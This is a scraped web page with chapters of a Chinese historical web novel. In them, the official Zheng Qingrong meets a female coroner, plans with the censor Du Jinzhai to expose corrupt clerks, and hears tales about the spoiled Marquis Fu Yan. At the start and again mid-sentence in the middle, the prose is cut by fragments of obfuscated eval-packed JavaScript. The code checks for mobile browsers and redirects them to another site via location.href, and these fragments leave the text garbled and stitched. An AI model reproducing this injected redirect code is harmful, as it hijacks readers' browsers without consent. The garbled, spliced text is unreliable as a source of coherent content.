0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15104476|162865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容看出她有别的话要说,直言道:“大姐有话不妨直说。” 妇人很是担忧:“小哥今日得罪了那符小侯爷,日后怕是少不得要被他找麻烦了。” 她刚刚在边上可是看得清清楚楚,那血溅到了符彦身上,不多,但是惊得他连身上那件由几百个绣娘日夜赶工三个月才能制出来的衣服都不要了。 符小侯爷爱干净,向来容不得半分脏污沾染,今日能站到猪崽跟前已经是他的极限了,被血那么一沾,杀人的心只怕都有了。 即使刚才没说什么就匆匆走了,但以他的性子,断然不会轻易放过。 听得妇人这么说,郑清容这才搞清楚那美少年姓甚名谁,不由得念了念:“符……彦?” 妇人说他是符小侯爷,而那箭矢之上又写了彦的字眼,合起来便是这个名字了。 妇人点点头,想起符彦以往的霸行仍有些后怕:“是他,他可惹不得啊小哥。” 郑清容还想问问为何惹不得,就被一女子的声音吸引了过去。 “哎?婶子的猪劁好了?” 女子声音甜美,像是山间的风掠过清晨滴露的芙蓉,只这一句,便有人认了出来。 “阿昭姑娘来了?” “哎……不对,现在该叫孟小姐了。” 似乎是没料到会被这么称呼,屠昭先是愣了一下,随即笑了出来:“怎么还给我改了姓唤起小姐来了?” 妇人咦了一声:“阿昭姑娘不是孟大财主走失多年的女儿吗?我们昨儿个还看见孟大财主把你接到孟家去了,说什么女儿之类的话,孟大财主早些年走丢过一个女儿,难道不是阿昭姑娘吗?” “我就是去打个工怎么还传成我是别人家的女儿了?”屠昭简直哭笑不得,好一番解释,“不是的婶子,我不是一直想找份活做吗?那姓孟的看到过我劁猪,就请我上门给他家庄子里蓄养的家禽动动刀子,说他女儿小时候最喜欢和这些小动物打交道,虽然到现在还没找到,但准备着终有一天会找回她的。” “是这样啊,那孟大财主人还不错,为了女儿能做到这个地步。”妇人喃喃。 屠昭呸了一声:“什么人还不错,那老登就是个黑心肝的,打着招人的幌子,诓骗找工作的人到庄子上,营造出一个走丢女儿的悲苦父亲形象,好让你放下戒心,事实是只要你进去了就出不来了。” “啊?那阿昭姑娘……”妇人闻言一惊,被她这么一说才注意到屠昭此时灰头土脸的,看上去有些狼狈。 “我没事,这种黑心老板我见多了,有的是力气和手段,我拿着随身携带的工具刀,跟他说相比劁猪我更擅长劁人,他不信,我就只能证明给他看咯,一刀划向他的下三路,但是没想到他那玩意这么短,原本是冲着切断去的,结果压根没碰着,不过那有贼心没贼胆的倒是被吓到了,慌忙间碰倒了一旁的泥俑,里面掉出来一具尸体,我一看这不是一具四十多岁的女尸吗,死了十来年,还是被虐杀的,全身上下的骨头都没一块好,那老登还是不信,报了官等仵作来验后他倒是信了,不过作为宅子的主人,那老登涉嫌命案,被官府暂时扣下了,我因为在现场也被官府的叫去问话,这一来一回就把给婶子劁猪的事给耽搁了。” 她这一席话前面说得直白,后面又说得吓人,周围人直听得面色红了又白,白了又青,很是精彩。 屠昭并不觉得自己的话有什么问题,在她看来不过是陈述罢了。 拍了拍身上残留的灰,屠昭顺带补充了一句,“当然哈,不建议大家像我这样做,我比较虎,之前遇到过这种事,知道要怎么应对,不过小姑娘什么的还是不要以身入局,这种黑心公司黑心老板什么事都做得出来,搞不好把自己给赔进去了。” 众人听她这么说,又是惊又是怕,哪里想得到孟大财主人面兽心?又哪里想得到泥俑里面藏有尸体? 一旁的郑清容觉得她话里有些字眼不是很明白,但仔细想想也能猜出几分大概意思,不由觉得有些新奇。 妇人再三确认屠昭没有受伤,这才嗔怪道:“遇到这么大的事还管什么劁猪啊,阿昭姑娘也真是的,我的猪已经由这位小哥帮忙劁好了,你别操心,快回家去给你娘报个平安,慎夫人要是知道你遭了这么大的罪,得担心死。” 被妇人这么一招呼,屠昭的视线这才落到了郑清容身上。 郑清容察觉她打量的视线,拱手施了一礼表示见过:“抱歉,抢了阿昭姑娘的活计。” 先前听得人们说阿昭姑娘劁猪不收钱只拿吃食,她就猜测这位阿昭姑娘应该是有找活做的意思,只是还没有找到适合的。 方才听到阿昭姑娘亲自承认是在找活做她就知道自己猜得不错。 这本来就是人家阿昭姑娘和人约好的,她无意间抢了人家的活,让人少了这一份吃食,确实要说一声抱歉。 似乎是第一次见到这么俊朗又年轻的劁猪匠,屠昭看了好一会儿才道:“婶子都说了你是帮忙,又不是像那些劁猪匠一样收钱,这有什么抢不抢的,而且我老本行也不是干这个的,劁猪不过是变相的再就业,多一个人帮邻里劁猪何尝不是一件好事?” 郑清容咂摸着“再就业”这个词,这是她从这位阿昭姑娘嘴里听到的又一个新奇的词,和先前的“老登”“老板”“公司”和“虎”有异曲同工之处。 “姑娘的老本行可是刀子匠?”听她先前说什么相比劁猪更擅长劁人,郑清容便接着她的话问了一句。 刀子匠可是为宫里太监净身的,真要说起来,这一行确实没见过有女子从事。 屠昭摇摇头,言简意赅:“仵作。” 对于她自称仵作,在场的男人们不置可否,女人们倒是忙不迭点头表示认同。 慎夫人和阿昭姑娘母女俩也是远近闻名的奇女子了。 慎夫人是昔年的逍遥六女之一,一手医术活死人肉白骨,颇负盛名。 当年慕家的二公子看上了她,不顾她的意愿就单方面上门提亲,戏剧性的是这一提亲她的三妹也看上了慕家二公子,明争暗斗抢闹得沸沸扬扬。 眼看着姐妹二人就要反目成仇,慎夫人手持利剑,提着慕家二公子的人头到自家三妹面前。 “一个男人,怎值得你我姐妹反目?” 她不喜欢慕家二公子,她更不想让姐妹情谊因为一个半路杀出来的陌生男人而分崩离析。 她用实际行动告诉天下人,为一个男人结仇,这是最不值的。 这事当年闹得很大,按理说杀人合该偿命,但事情到最后以她叛出家族自立门户,她的三妹幡然醒悟落发为尼,慎家和慕家从此老死不相往来结束。 叛出家门后的慎夫人捡了一个路边弃婴,对外称作自己女儿,以抓阄的形式让她决定自己的名字,那个女儿就是阿昭姑娘。 阿昭姑娘打小就聪明,跟着慎夫人为四邻八乡巡诊治病,不时上山采药下河摸鱼,虽然有时会说一些让人听不懂的字词,但母女俩一个医活物,一个剖死物,活的归慎夫人,死的归阿昭姑娘,配合得很是默契。 母女俩相依为命,一路扶持走到今天。 听到屠昭说起自己是仵作,郑清容道了声原来如此。 她说之前怎么说起尸体的时候这位阿昭姑娘两眼放光,还能断定泥俑里的尸体是女是男,年岁几何,死了几年。 四舍五入再拐几个弯,也算是一种劁人吧。 不过说起仵作,郑清容想到一个更为严峻的事。 仵作其实和刀子匠、劁猪匠也是一样的,带有强烈的性别倾向,自古以来都是男人在做,从来没有女子能在其中占据一席之地。 是女子的能力不行吗? 不,事实上,就算是同样的行业,女子的能力要比男子更好更出众才能获得和男子一样的执业机会。 也不知道是不是自嘲,屠昭笑道:“不过我这个老本行在这里似乎也不吃香,官府的人来到宅子里封存尸体时,我向他们自荐过,也给他们展示了自己的本事,但他们都嗤之以鼻,说从古至今没有女仵作验尸的道理,三言两句就把我打发了,哎,看来这次我又要饿死了。” 最后这句她说得极为无奈,眼里的光也一下子黯淡不少。 妇人似乎对屠昭一系列的奇怪词汇并没有什么反应,也不知道是因为被她所说之事震惊到了没注意,还是已经习以为常,哎哎两声安慰了几句便催着她赶紧回去跟她娘好好说道说道。 送走屠昭,妇人再三向郑清容道谢,这才带着猪崽回去。 围观的人看完了热闹,也稀稀拉拉离开,只有郑清容还留在原地,目光一直落在屠昭的离去的方向,若有所思。 她思考事情的时候向来入神,再加上这一思来得突然,是以都没注意到身后来人。 直到忽然有人轻轻拍了拍她的背,示意她回神:“在看什么?” 10.小侯爷怕黑要明 熟悉的声音响起,郑清容回过身:“杜大人,好巧,你下公了?” “原本今日御史台收了好些弹劾庄王府含章郡主的奏疏,但陛下把含章郡主提到了宫里给公主做伴读,此事便不了了之,我也乐得清闲,提前下公了。”杜近斋点点头,三两句解释了自己在这里的原因。 郑清容道了声原来如此,心想皇帝这招里外都不得罪的办法还挺好。 不仅好,还及时。 有了安平公主伴读的身份,庄怀砚倒是不用被她爹逼着嫁去岭南道了。 这一前一后,及时到都有些巧了,就像是有人在操控事情走向一样。 一个郡主,一个公主,这当中一定有什么关联。 郑清容顾自留了个心眼,打算回去向陆明阜问问二人的关系如何。 想起先前听到阿昭姑娘说起孟财主家泥俑藏尸的事,便顺便提了一句:“方才听人说京城出了命案,有人家里的泥俑藏了一具死了好几年的女尸。” “郑大人消息灵通,验尸的仵作说死者生前遭受了非人的折磨,全身上下的骨头没一块好的,鉴于事件的恶劣程度,此案交由大理寺查办。”杜近斋道。 郑清容哦了一声,仵作所言倒是和阿昭姑娘先前说的对上了。 就是大理寺查办这事有些出乎她的意料。 大理寺负责审理中央百官犯罪案件和京师徒刑以上案件,以及复审刑部转来的地方死刑案件。[1] 能让其审这种无头疑案,看来此案不是一般的难办。 不过想想也是,一个死了这么久的人,到今天才被人发现,想要查证无异于大海捞针,确实难办。 最后很大程度上还得三司推事。 她倒是挺想参与进来的,但三司推事是由御史台的侍御史、刑部郎中或员外郎、大理寺的大理司直或评事共同办案。[1] 以她现在的官职,尚没有资格参与其中,最次也得是从六品的员外郎,主事的上一级。 如此看来,她的动作得快些了。 这样想着,又听得杜近斋盯着地上遗留的衣服和箭矢思忖道:“我道素来衣着整洁的符小侯爷怎么衣衫不整长街纵马而去,原来此番是栽到郑大人手上了,郑大人果然厉害。” 他来的路上正好看见符彦策马扬鞭离去,急吼吼怒冲冲的,委实不像这个小侯爷平日里的嚣张做派,直到现在看到了地上的箭和衣服,这才有些明白为什么。 什么栽不栽的,郑清容被他这话逗得忍俊不禁:“杜大人这可冤枉我了,我什么都没做,就是劁了个猪。” 一边说,郑清容一边躬身去取地上的箭矢。 街上人来人往的,这支箭在这里插着也不是个办法,要是伤到人什么的那就更不好了。 符彦那支箭是奔着射杀猪崽去的,箭头入地深且重,她用了巧劲才抽出来。 抽出来后不忘记把受力裂开的石块踩填回去,免得绊倒过路的人。 “劁猪?”听得她这么说,杜近斋像是发现了什么新鲜玩意,面上很是惊奇,“先前走在路上时便听说有人在这边当街劁猪,我还想是哪位劁猪匠这般心血来潮?不承想竟然是郑大人,郑大人竟然有如此本事,真是让人惊喜。” 确实让人惊喜,都说君子远庖厨,当官的人更是如此,对劁猪之类不太体面的事很是排斥,平日里见到都嫌污了眼睛,更别说亲自上阵。 郑清容拈着箭矢,指尖微动,箭矢便随着她的动作在上面转了一圈:“本事什么的算不上,不过是技多不压身罢了,我要是以后在刑部司混不下去,就去转行做个刀子匠,有这门手艺也不怕被饿死。” 没料到她会这么说,杜近斋先是一愣,随即没忍住摇摇头失笑:“郑大人真是风趣。” 这所谓刀子匠就是专门给人净身去势的,是宫里太监都要经过的一道程序,宫里要用的人不少,每年净身去势去做太监的人不说一千也有八百,这么算下来,做刀子匠确实是个饿不死的活计。 两个人且走且谈,路上有认识杜近斋的不由得频频侧目。 昔日里可没见到这位杜侍御史笑成这样,毕竟在御史台任职,首要的就是严肃,平日里杜侍御史虽然也会笑,但都是微笑或者浅笑,可从来没有哪个时候像现在这样开怀大笑。 不远处的梅娘子在馄饨铺里隔着人群看了一眼二人渐行渐远的背影,眸底闪过一丝思索。 而一路找到这里的赵勤却是皱了皱眉,很是不安:“这死骗子居然跟御史台的人走这么近,此事怕是不好办。” “赵亭长,这可怎么办?”身后有人问他意见。 赵勤指了指他身后的两个人:“你们先跟着,看看他在哪里落脚,都有哪些人一起,记住远远跟着搞清楚情况就行,不要轻举妄动打草惊蛇,我回去跟罗令史商量商量对策。” 原本是想着找到人直接打闷棍的,谁能想到这死骗子居然和御史台的人认识,还是管赃赎的杜近斋。 为了避免把人逼急了拉他们全刑部司下水,还是先按兵不动的为好。 身后人点头应下,当即跟了上去。 郑清容不经意用余光瞥了一眼身后的尾巴,笑着对杜近斋道:“恭喜杜大人。” 这一声恭喜让杜近斋摸不着头脑,不由得问:“喜从何来?” 郑清容凑过来跟他小声咬耳朵:“杜大人要升官了。” “嗯?何意?”杜近斋依旧不解。 郑清容拈着符彦留下的那支箭矢,箭羽有一下没一下地敲在掌心:“杜大人可是台院副端?” 御史台下设台院、殿院和察院三院,台院最为特殊,相比其他两院也更为接近权力中心,而台院副端则是除了台院院长之外权力最大的人。 原本朝廷里这些个很有分量的官位都被各世家大族包圆了,说什么都轮不上寒门子弟来做的,不过后面不知道发生了什么,各世家大族那些在朝中当官的子弟一夜之间被人杀得没剩下几个,撑起家族兴旺的人才没了,各大家族也逐渐落寞,是以后来放出了许多有实权的官位,杜近斋就是在那个时期之后科举入仕进了御史台的。 她也是昨日听陆明阜提起才知道他为何会把住所安排在杜近斋对门,尽管有官位空缺的前提在,但寒门出身的读书人,能坐到御史台台院副端的位置,可见其能力不一般。 “是。”杜近斋颔首,并不意外郑清容知晓这些。 大家都是在京城做官的,有些事稍微打听一下就知道,并不是什么秘密。 郑清容再问:“那杜大人可是负责掌三司?理赃赎?” 都是聪明人,在官场上摸爬滚打这么久,听到这里杜近斋已经能听出她的言外之意了:“看来郑大人今天不只是劁了猪。” “劁一只小猪算什么?劁一群不安分的害群之猪才是真功夫。”郑清容负手走着,偏头给了杜近斋一个你懂的笑容,“杜大人说是也不是?” 杜近斋先是一愣,反应过来后再度失笑。 先前听得她主动提起泥俑藏尸案和三司,他还以为她有了案件线索。 直到听她说害群之猪才知道她的重点在赃赎上,害群之猪,害群之马,可不就是说贪赃枉法的事。 揉了揉太阳穴止住笑意,杜近斋道:“我以为郑大人是要跟我说泥俑藏尸案的事。” “自然也是要说的。”涉及人命,郑清容不自觉严肃起来。 杜近斋眼神里多了几分意外和赞许。 很自信呐! 和御史台办案,少说也得是刑部员外郎了。 而且听她的意思是要管泥俑藏尸案,也就是说她得在这件案子查破之前做到员外郎的位置。 从流外官到从六品,这可是个不小的跨越,朝中做官的人这么多,但多少人一年都不见得官升一级。 杜近斋不由得郑重打量起她来。 年少轻狂吗?可她这样子完全看不出一点儿狂傲的样子,面上不显山不露水,但给人的感觉就是很稳。 或许这就是老一辈人说的能成大事的人? “郑大人好志气!”杜近斋由衷赞叹一句,随即又在后面补了一句,“不过郑大人跟我说这些,难道就这么相信我?” 他和她统共就见了两面,还谈不上什么交情,真要算起来也就是一糖之交,按理来说还没到可以彼此交付信任的地步才是。 怎么一上来就点这么大一个炮仗?反倒是弄得他有些始料不及了,还有些说不上来的受宠若惊。 郑清容挑挑眉:“谁让杜大人昨日都说了相信我,我自然也不能让杜大人失望。” 杜近斋再次笑出声,想了想觉得今天笑得有些过于频繁了,不太严肃,便又急忙止住:“真是对不住,虽然郑大人说得很有道理,我也很认同,但是郑大人现在每次开口我就忍不住笑。” “要升官了嘛,杜大人应该笑的。”郑清容当即表示理解。 “打住打住。”杜近斋听到她这话难免又是一阵失笑,连连让她不要再说这些令人哭笑不得的话了,再笑下去他明日只怕会被人参一本失仪。 跟在后面的眼线看到二人一路说说笑笑,各自对视一眼。 纵然听不到二人说了什么,但能笑成这样,应该不是在说他们刑部司的那些事吧,哪有人撞破了那些猫腻还能嘻嘻哈哈当街说笑的? “说吧,需要我做什么?”杜近斋好不容易收拾好面上的表情,这才问郑清容具体要怎么做。 他没有问具体是什么事,而是直接问需要怎么做。 郑清容想,和聪明人说话就是简单,不用拐弯抹角废话连篇装模作样和来回拉扯。 低声说了自己的打算,郑清容看向杜近斋,询问他的意见:“杜大人以为如何?” 街上人多又嘈杂,她暗自加持了内力谈话,并不怕被人听去。 杜近斋点点头:“郑大人考虑得很周全。” 心思缜密,一环扣一环,不仅把所有可能出现的情况都考虑进去了,还给出了相应的解决方案。 他现在算是有些明白为什么这位郑令史在扬州能深受百姓爱戴,甚至调任时不惜十里相送了。 就凭借这行动力和不怕事的劲,足以盖过朝中大半当官的人。 杜近斋消化了一下方才听到的行动计划,再问:“郑大人打算何时动手?” “本月十五。”郑清容斩钉截铁。 “这么快?”杜近斋微微讶异。 今日十三,十五那不就是后天? 尽管计划得很周密,但时间上这么赶,能一网打尽吗? 郑清容给出这样做的理由:“朔朝,人多,正好。” 杜近斋笑笑。 看来郑大人此番势在必得,所以挑了这么个日子。 “不过……”想到关键处,杜近斋又问,“既然要把事情捅到陛下面前,少不得需要有人来做这个引子,这个人谁来做?” 他作为侍御史,又是台院副端,上掌纠举百僚,下管推鞫狱讼,做这个引子虽然合适,但说到底声势不够浩大,要是与之无关的人也能进来参一本,岂不是更能显得天怒人怨。 这人还必须得是能轰动京城的人物,最好能上达天听,把局势扩张到最大。 思及此,杜近斋看向郑清容。 就见郑清容往他跟前递了递箭矢,箭身上“彦”字赫然:“杜大人觉得此人如何?” “符小侯爷吗?他还真是个不错的人选。”杜近斋当即明白了她的打算,不用她问便顾自说起符彦这个人合适的原因。 “定远侯昔年曾辅佐先帝抗击外敌,当时庄王出人,明宣公出兵器,他出钱,是以先帝坐稳江山之后三人封王的封王,拜侯的拜侯,加公的加公,定远侯因为在此期间损失了一个儿子,先帝为了安抚他,特许其不用经过呈递奏章,有事可直接面圣陈情,如今就算先帝已经逝去,但这项恩典一直存在,符小侯爷呢自幼父母双亡,由定远侯这个爷爷一手带大,定远侯怜惜他无父无母,给他请了爵位,自小娇惯宠着,要星星摘月亮的事也有,把他养成了如今霸道蛮横无法无天的性子,不过尽管符小侯爷再怎么刁蛮任性,定远侯也乐得在他后面砸银子收拾烂摊子,所以就算这些年百姓们畏惧这位小侯爷,怕惹了他不高兴,但有定远侯用银子收拾残局,并没有发生什么人神共愤的事,两方玩归玩,怕归怕,却也一直以来相安无事,别看符小侯爷年纪小,只有十六岁,但以小侯爷的受宠程度,让他来做这个引子,确实不错。” 郑清容只是想着符彦来头不小,或许能从他身上下手,毕竟先前他站在这里时百姓们对他的态度可见一斑,现在听到杜近斋这样说才知道自己小瞧了那位美少年的背景。 这哪里是来头不小,简直是行走的财主家宠儿好吗? 她要是有这背景,她也横着走。 难怪之前符彦一副眼睛长头顶,世间唯我独尊的欠揍表情,原来是自身后台够硬。 这京城,果然和别的地方不一样。 说完符彦这些年的战绩,杜近斋又看向郑清容,反问道:“郑大人是不是以为我说的摘月亮只是夸大其词?” “难道不是吗?”问题问得有些莫名其妙,郑清容被他弄得一愣。 这不是和含在嘴里怕化了,捧在嘴里怕飞了是一个意思吗?都是用一种极致夸张的手法来表现别于他人的受宠程度。 杜近斋笑了笑,摇摇头做否定态。 不说还好,一说郑清容便来了兴致:“愿闻其详。” 实在是杜近斋的表情不像是在开玩笑,都让她有些糊涂了。 杜近斋且走且说,娓娓道来:“符小侯爷小时候怕黑,所以侯府里灯火彻夜不眠,但符小侯爷觉得灯烛不好看,就想要把月亮星星挂到自己屋子里去。” 郑清容忍不住在心里吐槽,不愧是含着金汤匙出生的,就连照明的蜡烛都要求好看。 “这事最后成了?”郑清容接着他的话往下问,说完都开始怀疑自己是不是听错了。 这么不靠谱的事居然能发生?那真是活见鬼了。 “符小侯爷想要,哪儿能不成?”杜近斋点点头,复又给她说起这件事的来龙去脉,“定远侯爱孙心切,用自己的侯爵作请,又从侯府划了一大笔金银充盈国库,以此进宫向陛下借了一个人。” “人?”郑清容越听越觉得玄乎。 摘月亮这种事是人能够做到的?确定不是巫? 杜近斋也不卖关子了,点破道:“司天监,公凌柳大人。” 郑清容简直不敢相信自己的耳朵。 司天台的司天监不是负责观测天文以及监测解读异常天象的吗?什么时候进化成能摘星夺月的了? 这还是人吗? 杜近斋迎着郑清容怀疑的目光,继续道:“彼时公凌柳大人虽然只有十四岁,但凭着一身天授的本事,成为了本朝最年轻的官员,官拜从三品司天监,执掌司天台,观天文,测异象,编历法,卜吉凶,任它王侯公卿为官几品,见了他都要称一声大人。” “厉害。”郑清容由衷赞了一句。 且不说摘月亮是真是假,就拿他十四岁官职品阶便到了从三品这点,已经是很多人难以企及的地步了。 “是啊,很厉害。”杜近斋感叹,“公凌柳大人不仅官场上厉害,一身出神入化的本事也很厉害,在得了陛下授意后当真来了侯府,把天上的月亮和星星摘了下来,在小侯爷屋子里挂了一晚上。” 郑清容难得愕然了一回:“杜大人亲眼所见这位公凌柳大人把月亮跟星星摘下来了?” 这世上哪有人能把天上的月亮摘下来的? 她不信,但见杜近斋的样子不像说笑,又觉得自己的这个问题问得有些傻气。 “我虽不曾亲眼见到公凌柳大人摘星取月,但我清楚记得那一晚天上确实没有月亮和星星。”似乎是想起旧事,杜近斋眉眼上也带了几分回忆之色。 “这件事发生在符小侯爷三岁的时候,那年我正好八岁,因为背不出书被父亲关在河南道徐州的祠堂里罚跪,我半夜实在饿得不行便偷偷跑出来,想着去厨房拿点儿东西垫垫,不料当晚无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15113536|162865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星无月,伸手看不到半点儿光亮,我从窗户翻出来时没看到脚下的石头,落地时不小心摔破了头,挨了父亲好一顿骂,因此这件事我至今仍十分清楚,而且后来也听人说那晚的侯府分外明亮,如同白昼。” 郑清容试着想了想。 算起来那时候她差不多五岁,不过当时她的心思都扑在跟着师傅学习上,还真没注意哪天有月亮哪天没有。 按照杜近斋这么说,难不成当晚的月亮和星星真被那位神通广大的司天监公凌柳大人给摘下来挂到侯府去了? 小侯爷怕黑要明,司天监摘星捞月。 这有钱不仅能使鬼推磨,还能把天上的月亮弄下来? 郑清容轻咳一声,还是不相信。 且不说眼见都不一定为实,眼未见,道听途说就更不能为实。 在未知面前,人们往往会神化或诡化某些自己无法认知的东西,像摘月亮这种带有某种神话色彩的故事就更是了。 信不得。 除非在她面前摘一回。 见她神情不明显然并不信这件事,杜近斋笑了笑,指了指她手里的箭矢:“郑大人若想知道真假,不妨问问这支箭的主人。” 他也只是一个讲述故事的人,其中真假只有当事人自己知道,他不做过多评判,只陈述他个人所了解到的。 郑清容笑笑,指尖微挑,箭矢便在她手中翻转如花。 问? 这可不好问。 以这位符小侯爷的脾气,谁敢过问他的事? 更别说她先前还跟这位小侯爷有了过节,逼得人当街弃衣而去,这怎么可能还问得? 郑清容并未接他这话,反而从刚才杜近斋的讲述之中挑起了另一个话题:“想不到杜大人也有背书背不出来的时候?” 杜近斋半是好笑半是玩笑道:“看来杜某在郑大人心目中的形象甚高。” 郑清容隔空比划了一下他的身量,正色道:“杜大人本来就很高。” 杜近斋笑得不行,眼泪花几乎都要笑出来。 旁人听到他这话少不得要恭维吹捧一番,她倒好,说什么身量高,当真是又好笑又合乎情理。 虽然两个人交谈的时间不长,但他发现这位郑大人说话很有一套自己的风格。 论事的时候轻松自在,说笑的时候反而一本正经。 偏偏这种矛盾的情绪被她处理得很好,不会显得突兀和莫名,前后很是融洽,听的人能够跟着她的话进入到特定的情景当中去,很难分心,初闻她时不时爆出来的笑话便觉有趣,心下再品更觉妙极。 两人说说笑笑,很快便走到杏花天胡同。 彼时昨日遇到的孩子们又聚到了一起,你追我赶地踢着蹴鞠。 见到郑清容回来,孩童们开心地招呼着:“哥哥快来踢蹴鞠!” 经过昨日的一场蹴鞠玩乐和酥糖分享,孩子们已经认可了她这个年龄大上她们不少的蹴鞠玩伴,此时再见便熟络不少。 “来了!”郑清容应了一声,撩起衣角便融入进了孩子们不大的蹴鞠场里去。 怕箭矢伤到孩子们,她特意用衣带裹了箭头插到了腰间。 蹴鞠在大大小小的足尖翻滚跳跃,或腾空、或飞跃,孩子们的笑闹声染了杏花天胡同的半边天,好不热闹。 杜近斋在一旁含笑而视。 这位郑大人今年方才十八,正是青春年少活泼好动的年纪,和孩子们玩乐一番也好,不用整日拘在这一身官服之下。 他没有打算参与的意思,往旁边站了站,不料郑清容一个回踢把蹴鞠踢到了他脚边,扬手招呼:“一起啊!” 杜近斋哭笑不得。 她倒是挺会照顾人,和她这帮小友玩乐的时候还不忘叫他一起。 “我多大了,还玩这个?”杜近斋看着还在脚边缓缓滚动的蹴鞠,又好笑又无奈。 郑清容哈了一声:“杜大人不过长我三岁,怎么一副少年老成的模样,再说了,谁规定蹴鞠必须几岁玩,我不仅要十八岁玩,往后三十八岁、六十八岁也要玩。” 说着,她转身招呼身后的孩子们:“是不是啊?” 因为她有一手漂亮的蹴鞠技艺,孩子们早就以她马首是瞻,听得她这么问,都积极地响应。 有胆大的孩子对杜近斋稚声稚气地喊了一句:“大哥哥别害羞,来一个!” 有人带头,其余的孩子便都跟着喊了起来。 “来一个来一个!” 在孩童们的邀请声中,杜近斋揉了揉太阳穴,有些不好意思:“我不太会。” 郑清容想笑不能笑。 原来之前说什么年纪大不适合玩都是推脱之词,真正的原因在这里。 “这有什么的,玩乐而已,又不是在官场上,事事都要争个第一。” 一语惊醒梦中人,杜近斋恍然。 对啊,他总是觉得要准备好才能去做这个做那个,不仅要做,还要做到最好,如今被她这么一点才认识到自己陷入了一个思维怪圈。 从小他就被灌输一个概念,要做就做最好,要争就争第一,是以后来他无论大事小事也都是围绕这个观点来做的。 他有时也会觉得自己像根绷紧的弦,被这些烦琐之事压得喘不过气,但他不敢松懈片刻,因为他认定了要把所有事都做到最好,包括玩乐。 后来实在是觉得玩乐争第一这种事太过伤神费力,不但不能愉快身心反而还换来满身疲惫,吃力不讨好,他索性省去了玩乐的时间,一心投入到正事上。 现在想想,玩乐玩乐,玩的不就是乐吗?好胜费力去争第一做什么?开心就好了,哪儿需要这么累去谋算怎么取胜? “受教。”想清楚这一点儿的杜近斋顿觉一身轻松,便也学着郑清容先前的路数去试着踢了踢蹴鞠。 郑清容看出他使的是自己事先展露的那一脚燕归巢,虽然力度不太够,但掌握了五六分精髓,看起来也很是有两把刷子,不由得赞道:“杜大人谦虚了。” 先前还说什么不太会,这是不太会的样子吗? 杜近斋腼腆一笑:“是郑大人厉害。” 果然,放下好胜心之后再做事才能全身心投入,有事半功倍之效,之前是他钻牛角尖了。 这么简单的道理他却为之困顿前半生,还不如一个比自己小的人活得通透,当真是越活越回去了。 郑清容哈哈一笑,蹴鞠再次流转起来。 两个人带着一帮孩子你追我赶你来我往,玩得十分畅快。 最后一次传球,郑清容心下一动,一脚把蹴鞠踢了出去。 蹴鞠进球,却也砸到了一直跟踪她们的人头上。 那人本来是借着墙角遮掩偷看的,只露了半个头出来,被蹴鞠这么一砸正中脑门,当即吓了一跳,暴露之后转身想要逃走,不料却和身后的同伙撞到了一起,捂着头好一阵手忙脚乱。 郑清容装作不小心上前询问:“对不住啊小兄弟,我不知道你在那里,头没事吧?不如叫个大夫来看看。” 那两人哪里敢和她打照面,忙摆手说不用了,随后你拉我我拽你脚底抹油般跑了个没影。 郑清容把蹴鞠捡了回来,回头看了杜近斋一眼,意思很明确,问他还干吗? 这事有风险,她刚刚把人揪出来就是要给杜近斋看明白这背后的利害关系,人都跟到家门口了,之后的路定然不好走。 这是无可厚非的。 不得不说,杜近斋确实是个很好的合作者,在官场上所处的位置也能给她带来一定的便利,但事关个人安全和前途,他要是不想蹚这趟浑水,她也给他及时退出的选择。 没有他的帮助她单干也是一样的,左右在扬州的时候她也是自己单干,不过就是麻烦些累些,不碍事。 杜近斋明白她的意思,笑道:“职责所在,义不容辞。” 他要是怕事怎么可能还在御史台? 郑清容对他的回答很满意,抛接着蹴鞠走到他跟前:“有杜大人这句话,不管出什么事我一定挡在你面前。” 11.我没有夫人聪明【入V通知】 回到小院时,天色已晚。 郑清容推门进来时陆明阜已经在屋子里了,桌上摆了她早上离开时点名要的蟹粉狮子头和天香荷藕,还搭配了一盅羹汤和一碟饭后点心。 “回来了。”见她回来,陆明阜当即上前取了打湿的巾帕给她净手。 郑清容嗯了一声,接过巾帕,顺便把别在腰间的羽箭递给他。 “符小侯爷的箭?”陆明阜不用看箭矢上的标记,单凭这金羽就一眼认了出来,“看来夫人今日之行不太顺利。” 郑清容没忍住笑了出来。 看来这位小侯爷的名声委实不太好啊,陆明阜一个才来京城没多久的人都知道遇到他没好事。 “顺利也不顺利,不过见到了许多奇人怪事倒是真的。”她道。 陆明阜引着她坐去了桌前,率先给她夹了一个狮子头:“夫人不妨说说看,或许我能为夫人解惑一二。” 他虽然来京城的时间不长,但他事先调查过,各家有哪些人,这些人如何有什么私交他还是知道一些的。 郑清容咬了一口热乎的狮子头,味道还是和扬州一样,在食材不足的情况下还能做出一样的味道,可见用心了。 “你对安平公主这个人怎么看?” 陆明阜正给她盛汤,听到她提起安平公主不由得一愣,当即放下手里的羹汤,郑重道:“我与公主从未有过男女之情,当初陛下赐婚事出突然,实非我意,我的身心从始至终都是夫人一个人的,我没有不干净。” 说着说着,他的眼角微红,隐见泪意,竟是泫然欲泣之态。 郑清容又无奈又好笑,放下碗筷伸手抚了抚他的眼角:“我不是要问这个。” 这件事在她和陆明阜成婚时他就悉心解释过好多次,字里行间全是他真诚的自证。 其实不用他解释她也知道二人之间没什么,一个在扬州,一个在京城,二人面都没见过,哪里来的情谊? “你是个怎样的人,待我如何这些我都知道,你不用太过敏感。”郑清容安抚他的心底的忐忑,等他情绪安稳下来这才继续方才没说完的话题,“我是想问安平公主是个怎样的人,私下都和哪些人有来往?比如和庄王府的含章郡主有没有交情?” 